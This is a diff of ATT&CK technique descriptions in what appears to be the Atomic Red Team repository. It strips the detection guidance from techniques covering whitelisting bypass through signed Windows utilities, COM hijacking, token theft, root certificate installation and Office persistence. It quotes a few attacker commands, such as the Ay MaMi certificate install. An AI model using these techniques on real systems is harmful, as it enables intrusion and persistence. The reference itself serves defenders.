-Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
-
-Platforms: Windows
-
-Data Sources: Process monitoring, Process command-line parameters
-
-Defense Bypassed: Process whitelisting
-
-Permissions Required: User
-
-Remote Support: No
-
-Contributors: Casey Smith, Travis Smith, Tripwire</blockquote>
+Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)</blockquote>

 ## Atomic Tests

@@ -1,18 +1,8 @@
 # T1119 - Automated Collection
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1119)
-<blockquote>Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. 
+<blockquote>Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. 

-This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.
-
-Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process command-line parameters, Data loss prevention
-
-Permissions Required: User
-
-System Requirements: Permissions to access directories and files that store information of interest.</blockquote>
+This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.</blockquote>

 ## Atomic Tests

@@ -2,21 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1121)
 <blockquote>Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

-Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
-
-Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
-
-Platforms: Windows
-
-Data Sources: Process monitoring, Process command-line parameters
-
-Defense Bypassed: Process whitelisting
-
-Permissions Required: User, Administrator
-
-Remote Support: No
-
-Contributors: Casey Smith</blockquote>
+Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)</blockquote>

 ## Atomic Tests

@@ -1,18 +1,6 @@
 # T1122 - Component Object Model Hijacking
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1122)
-<blockquote>The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
-
-Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, DLL monitoring, Loaded DLLs
-
-Defense Bypassed: Autoruns Analysis
-
-Permissions Required: User
-
-Contributors: ENDGAME</blockquote>
+<blockquote>The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1123)
 <blockquote>An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

-Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
-
-Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
-
-Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring, Process monitoring, File monitoring
-
-Permissions Required: User</blockquote>
+Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.</blockquote>

 ## Atomic Tests

@@ -2,15 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1124)
 <blockquote>The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

-An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.
-
-Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.
-
-Platforms: Windows
-
-Data Sources: Process monitoring, Process command-line parameters, API monitoring
-
-Permissions Required: User</blockquote>
+An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.</blockquote>

 ## Atomic Tests

@@ -1,20 +1,8 @@
 # T1126 - Network Share Connection Removal
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1126)
-<blockquote>Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)
+<blockquote>Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

-Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
-
-Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.
-
-Platforms: Windows
-
-Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs
-
-Defense Bypassed: Host forensic analysis
-
-Permissions Required: User, Administrator
-
-System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.</blockquote>
+Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.</blockquote>

 ## Atomic Tests

@@ -2,25 +2,25 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1127)
 <blockquote>There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

-===MSBuild===
+### MSBuild

 MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) 

 Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)

-===DNX===
+### DNX

 The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. 

 An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)

-===RCSI===
+### RCSI

 The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)

 C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)

-===WinDbg/CDB===
+### WinDbg/CDB

 WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

@@ -28,31 +28,11 @@ An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code

 It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

-===Tracker===
+### Tracker

 The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)

-An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)
-
-Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
-
-Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
-
-Platforms: Windows
-
-Data Sources: Process monitoring
-
-Defense Bypassed: Application whitelisting
-
-Permissions Required: User
-
-System Requirements: MSBuild: .NET Framework version 4 or higher
-DNX: .NET 4.5.2, Powershell 4.0
-RCSI: .NET 4.5 or later, Visual Studio 2012
-
-Remote Support: No
-
-Contributors: Casey Smith, Matthew Demaske, Adaptforward</blockquote>
+An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)</blockquote>

 ## Atomic Tests

@@ -4,19 +4,7 @@

 Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

-Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
-
-Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)
-
-Platforms: Windows
-
-Data Sources: Process monitoring, DLL monitoring, Windows Registry
-
-Permissions Required: Administrator, SYSTEM
-
-System Requirements: netsh
-
-Contributors: Matthew Demaske, Adaptforward</blockquote>
+Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)</blockquote>

 ## Atomic Tests

@@ -8,29 +8,7 @@ Atypical root certificates have also been pre-installed on systems by the manufa

 Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

-In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
-
-Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
-
-Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
-*18F7C1FCC3090203FD5BAA2F861A754976C8DD25
-*245C97DF7514E7CF2DF8BE72AE957B9E04741E85
-*3B1EFD3A66EA28B16697394703A72CA340A05BD5
-*7F88CD7223F3C813818C994614A89C99FA3B5247
-*8F43288AD272F3103B6FB1428485EA3014C0BCFE
-*A43489159A520F0D93D032CCAF37E7FE20A8B419
-*BE36A4562FB2EE05DBB3D32323ADF445084ED656
-*CDD4EEAE6000AC7F40C3802C171E30148030C072
-
-Platforms: Linux, Windows, macOS
-
-Data Sources: SSL/TLS inspection, Digital Certificate Logs
-
-Defense Bypassed: Digital Certificate Validation
-
-Permissions Required: Administrator, User
-
-Contributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps</blockquote>
+In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)</blockquote>

 ## Atomic Tests

@@ -1,18 +1,6 @@
 # T1132 - Data Encoding
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1132)
-<blockquote>Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
-
-Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis
-
-Permissions Required: User
-
-Requires Network: Yes
-
-Contributors: Itzik Kotler, SafeBreach</blockquote>
+<blockquote>Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.</blockquote>

 ## Atomic Tests

@@ -1,38 +1,20 @@
 # T1134 - Access Token Manipulation
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1134)
-<blockquote>Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)
+<blockquote>Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. (Citation: Microsoft runas)
  
-Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)
+Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)

 Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)

-'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.
+**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

-'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.
+**Create Process with a Token** - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

-'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.
+**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.

 Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

-Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens.  (Citation: Cobalt Strike Access Token)
-
-Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)
-
-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  
-
-There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.
-
-Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)
-
-Platforms: Windows
-
-Data Sources: API monitoring, Access Tokens
-
-Effective Permissions: SYSTEM
-
-Permissions Required: User, Administrator
-
-Contributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3</blockquote>
+Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)</blockquote>

 ## Atomic Tests

@@ -2,27 +2,17 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1135)
 <blockquote>Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. 

-===Windows===
+### Windows

 File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)

-Net can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.
+[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.

 Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

-===Mac===
+### Mac

-On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: macOS, Windows
-
-Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network
-
-Permissions Required: User</blockquote>
+On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.</blockquote>

 ## Atomic Tests

@@ -2,15 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1136)
 <blockquote>Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

-The <code>net user</code> commands can be used to create a local or domain account.
-
-Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs
-
-Permissions Required: Administrator</blockquote>
+The <code>net user</code> commands can be used to create a local or domain account.</blockquote>

 ## Atomic Tests

@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1137)
 <blockquote>Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

-===Office Template Macros===
+### Office Template Macros

 Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

@@ -14,34 +14,17 @@ Excel Personal.xlsb location:<code>C:\Users\(username)\AppData\Roaming\Microsoft

 An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

-===Office Test===
+### Office Test

 A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)

 <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

-===Add-ins===
+### Add-ins

 Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)

-Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)
-
-Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.
-
-Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)
-
-Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.
-
-Platforms: Windows
-
-Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring
-
-Permissions Required: User, Administrator
-
-System Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016
-Add-ins: some require administrator permissions
-
-Contributors: Ricardo Dias, Loic Jaquemet</blockquote>
+Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)</blockquote>

 ## Atomic Tests

@@ -1,6 +1,6 @@
 # T1138 - Application Shimming
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1138)
-<blockquote>The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
